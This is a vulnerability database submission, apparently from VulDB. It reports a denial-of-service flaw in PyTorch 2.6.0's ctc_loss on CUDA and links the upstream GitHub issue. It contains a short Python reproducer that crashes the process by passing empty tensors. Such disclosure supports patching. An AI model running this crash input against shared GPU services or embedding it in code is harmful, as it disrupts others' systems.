| 标题 | pytorch pytorch (in torch.nn.functional.ctc_loss) 2.6.0 Denial of Service |
|---|
| 描述 | When calling `ctc_loss` with empty tensors on CUDA (device="cuda"), a `Floating point exception` occurs. This does not happen on CPU, where a proper error is raised. This bug can be exploited for a denial-of-service attack.
# To reproduce
```
import torch
import torch.nn.functional as F
device = "cuda" # "cpu" is fine
num_classes = 4
log_probs = torch.rand(0, 0, num_classes, device=device)
targets = torch.tensor([], device=device, dtype=torch.long)
input_lengths = torch.tensor([], device=device, dtype=torch.long)
target_lengths = torch.tensor([], device=device, dtype=torch.long)
result = F.ctc_loss(log_probs, targets, input_lengths, target_lengths, reduction='none')
```
# Output
```
Floating point exception (core dumped)
```
|
|---|
| 来源 | ⚠️ https://github.com/pytorch/pytorch/issues/150835 |
|---|
| 用户 | Default436352 (UID 81891) |
|---|
| 提交 | 2025-04-08 17時12分 (1 年前) |
|---|
| 管理 | 2025-04-16 15時41分 (8 days later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 305076 [PyTorch 2.6.0 LossCTC.cpp torch.nn.functional.ctc_loss 拒绝服务] |
|---|
| 积分 | 20 |
|---|